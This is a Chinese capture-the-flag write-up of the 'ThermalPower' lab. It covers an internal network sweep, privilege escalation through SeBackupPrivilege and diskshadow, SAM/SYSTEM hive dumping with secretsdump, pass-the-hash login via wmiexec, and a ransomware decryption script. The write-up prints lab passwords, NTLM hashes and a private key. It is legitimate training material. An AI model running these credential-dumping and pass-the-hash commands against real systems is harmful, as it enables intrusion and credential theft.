春秋云镜-ThermalPower
flag01
fscan开扫
蚁剑马写进去连不上,选择冰蝎马
flag02
发现ftp可连接,新主机
1
| 172.22.17.6 WORKGROUP\WIN-ENGINEER
|
上代理
挨个看看发现敏感信息
1 2 3
| WIN-SCADA: 172.22.26.xx Username: Administrator Password: IYnT3GyCiy3
|
结合内部通知可推断出登录账号密码为
账户名+@+工号
chenhua/chenhua@0813
zhaoli/zhaoli@0821
wangning/wangning@0837
zhangling/zhangling@0871
zhangying/zhangying@0888
wangzhiqiang/wangzhiqiang@0901
chentao/chentao@0922
zhouyong/zhouyong@0939
lilong/lilong@1046
liyumei/liyumei@1048
尝试使用其中一个进行rdp
发现没权限
进行权限提升
方法1 SeBackupPrivilege 提权
[!NOTE] 使用 SeBackupPrivilege 权限实现权限提升
查看 systeminfo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| 主机名: WIN-ENGINEER OS 名称: Microsoft Windows Server 2022 Datacenter OS 版本: 10.0.20348 暂缺 Build 20348 OS 制造商: Microsoft Corporation OS 配置: 独立服务器 OS 构建类型: Multiprocessor Free 注册的所有人: 注册的组织: Aliyun 产品 ID: 00454-60000-00001-AA888 初始安装日期: 2023/12/25, 20:35:07 系统启动时间: 2024/11/17, 14:31:28 系统制造商: Alibaba Cloud 系统型号: Alibaba Cloud ECS 系统类型: x64-based PC 处理器: 安装了 1 个处理器。 [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2500 Mhz BIOS 版本: SeaBIOS 449e491, 2014/4/1 Windows 目录: C:\Windows 系统目录: C:\Windows\system32 启动设备: \Device\HarddiskVolume1 系统区域设置: zh-cn;中文(中国) 输入法区域设置: zh-cn;中文(中国) 时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量: 3,950 MB 可用的物理内存: 2,344 MB 虚拟内存: 最大值: 5,358 MB 虚拟内存: 可用: 3,917 MB 虚拟内存: 使用中: 1,441 MB 页面文件位置: C:\pagefile.sys 域: WORKGROUP 登录服务器: \\WIN-ENGINEER 修补程序: 安装了 3 个修补程序。 [01]: KB5031993 [02]: KB5032198 [03]: KB5032310 网卡: 安装了 1 个 NIC。 [01]: Red Hat VirtIO Ethernet Adapter 连接名: 以太网 启用 DHCP: 是 DHCP 服务器: 172.22.255.253 IP 地址 [01]: 172.22.17.6 [02]: fe80::a08:c743:f141:2d7b Hyper-V 要求: 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。
|
查看特权信息,此时 SeBackupPrivilege 未开启:
1 2 3 4 5 6 7 8
| whoami /priv 特权信息 ----------------------
特权名 描述 状态 ============================= ============== ====== SeChangeNotifyPrivilege 绕过遍历检查 已启用 SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
|
此时访问 Administrator 目录,提示拒绝访问:
1 2
| PS C:\Windows\system32> dir C:\Users\Administrator\flag\ dir : 拒绝访问。
|
使用 EnableSeBackupPrivilege.ps1启用 SeBackupPrivilege:
1
| Import-Module .\EnableSeBackupPrivilege.ps1
|
新建 s.dsh 文件,创建目标系统上 C 盘的备份:
1 2 3 4
| set context persistent nowriters add volume c: alias mydrive create expose %mydrive% z:
|
将 s.dsh 文件编码和间距转换为与 Windows 机器兼容形式(在 Windows 上新建 s.dsh 可忽略此步):
以管理员权限在 PowerShell 中执行命令。当前用户路径权限不够,需要在 C 盘新建目录 Temp,执行 diskshadow 并拷贝 flag02 :
1 2 3 4 5
| PS C:\Users\chenhua\Desktop> cd C:\ PS C:\Users\chenhua\Desktop> mkdir Temp PS C:\Temp> diskshadow /s s.dsh PS C:\Temp> dir z:\Users\Administrator\flag\ PS C:\Temp> robocopy /b z:\Users\Administrator\flag\ . flag02.txt
|
方法2 注册表 SAM 转储
重置环境,尝试直接转储 sam 和 system,发现不需要特权即可以成功导出:
1 2 3 4 5
| PS C:\Users\chenhua\Desktop> cd C:\ PS C:\Users\chenhua\Desktop> mkdir Temp PS C:\Users\chenhua\Desktop> cd C:\Temp PS C:\Temp> reg save hklm\sam c:\Temp\sam PS C:\Temp> reg save hklm\system c:\Temp\system
|
下载到本地,提取 Administrator 的 NTLM hash:
1 2 3 4 5 6 7 8 9 10 11 12 13
| python3 secretsdump.py -sam sam -system system LOCAL
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a2fa2853651307ab9936cc95c0e0acf5::: chentao:1000:aad3b435b51404eeaad3b435b51404ee:47466010c82da0b75328192959da3658::: zhaoli:1001:aad3b435b51404eeaad3b435b51404ee:2b83822caab67ef07b614d05fd72e215::: wangning:1002:aad3b435b51404eeaad3b435b51404ee:3c52d89c176321511ec686d6c05770e3::: zhangling:1003:aad3b435b51404eeaad3b435b51404ee:8349a4c5dd1bdcbc5a14333dd13d9f81::: zhangying:1004:aad3b435b51404eeaad3b435b51404ee:8497fa5480a163cb7817f23a8525be7d::: lilong:1005:aad3b435b51404eeaad3b435b51404ee:c3612c48cf829d1149f7a4e3ef4acb8a::: liyumei:1006:aad3b435b51404eeaad3b435b51404ee:63ddcde0fa219c75e48e2cba6ea8c471::: wangzhiqiang:1007:aad3b435b51404eeaad3b435b51404ee:5a661f54da156dc93a5b546ea143ea07::: zhouyong:1008:aad3b435b51404eeaad3b435b51404ee:5d49bf647380720b9f6a15dbc3ffe432:::
|
以管理员权限登录获得 flag02:
1 2 3
| python3 wmiexec.py administrator@172.22.17.6 -hashes
C:\Users\Administrator\flag>type flag02.txt
|
flag03
前面获取到的敏感信息
1 2 3
| WIN-SCADA: 172.22.26.xx Username: Administrator Password: IYnT3GyCiy3
|
扫到172.22.26.11
尝试rdp
登上去他自动打开了火力自动化控制系统
我随便点了个开flag就出来了(应该是锅炉开)
win+d或者win+M回到桌面
最近使用的文件中发现 ScadaDB.sql
,但是为 0 字节:
因为该文件已经被加密为 ScadaDB.sql.locky
:
在 C 盘下找到勒索程序 Lockyou.exe
:
利用dnSpy解密
源代码中看到
结合前面给的附件,
根据 locky 勒索软件家族加解密逻辑和 .NET 逆向代码,解密思路如下:
首先用 privateKey
对加密的 encryptedAesKey
进行 RSA 解密,得到 AES_KEY
。
再用 AES_KEY
对加密的文件 ScadaDB.sql.locky
解密,得到 ScadaDB.sql
。
RSA解密
通过工具,将 privateKey
从 XML 格式转换为 PEM 格式,得到 PRIVATE_KEY
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| -----BEGIN PRIVATE KEY----- MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+ PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3 YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17 8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/ xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0 VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy PHvLZB6D8zSyuGw= -----END PRIVATE KEY-----
|
通过解密https://www.lddgo.net/en/encrypt/rsa得到AES_KEY
AES解密
使用 AES KEY
对文件 ScadaDB.sql.locky
进行解密。RSA + AES 解密的完整脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| # -*- coding: utf-8 -*- # @Author : iker # @Time : 2024/03/04 16:10 # @Function: RSA Privatekey Decryption & AES CBC Decryption import base64 from Crypto.Util.Padding import pad from Crypto.Cipher import AES from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
def rsa_decrypt(data): private_key = """-----BEGIN PRIVATE KEY----- MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+ PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3 YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17 8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/ xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0 VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy PHvLZB6D8zSyuGw= -----END PRIVATE KEY-----""" data = base64.b64decode(data) priobj = Cipher_pkcs1_v1_5.new(RSA.importKey(private_key)) decrypted_data = priobj.decrypt(data,None) return decrypted_data
def padding(data): # style(string) – Padding algorithm.It can be ‘pkcs7’ (default), ‘iso7816’ or ‘x923’. if len(data) % AES.block_size != 0: return pad(data, AES.block_size, 'pkcs7') else: return data
def aes_cbc_encrypt(iv, key, data): key = padding(key) data = padding(data) iv = padding(iv)
aes = AES.new(key, AES.MODE_CBC, iv) cipher_data = aes.encrypt(data) return cipher_data
def aes_cbc_decrypt(iv, key, data): iv = padding(iv) key = padding(key) data = padding(data)
aes = AES.new(key, AES.MODE_CBC, iv) data = aes.decrypt(data) return data
def decrypt_file(encrypted_filepath,output_filepath,key): with open(encrypted_filepath, 'rb') as f: data = f.read()
iv = b'\x00' * 16 decryption_result = aes_cbc_decrypt(iv, key, data)
with open(output_filepath, 'wb') as f: f.write(decryption_result)
if __name__ == "__main__": encryptedAesKey = "lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g=" key = rsa_decrypt(encryptedAesKey) encrypted_filepath = "ScadaDB.sql.locky" output_filepath = "ScadaDB.sql" decrypt_file(encrypted_filepath,output_filepath,key)
|
总结
这次靶场最令我意想不到的就是最后的逆向,这一个逆向题对我一个Web手的伤害是多么的大哇!请教了队里的re手才勉强搞明白里面的逻辑,难道渗透题里面不免有逆向的么,不要让我啃逆向哇,呜呜呜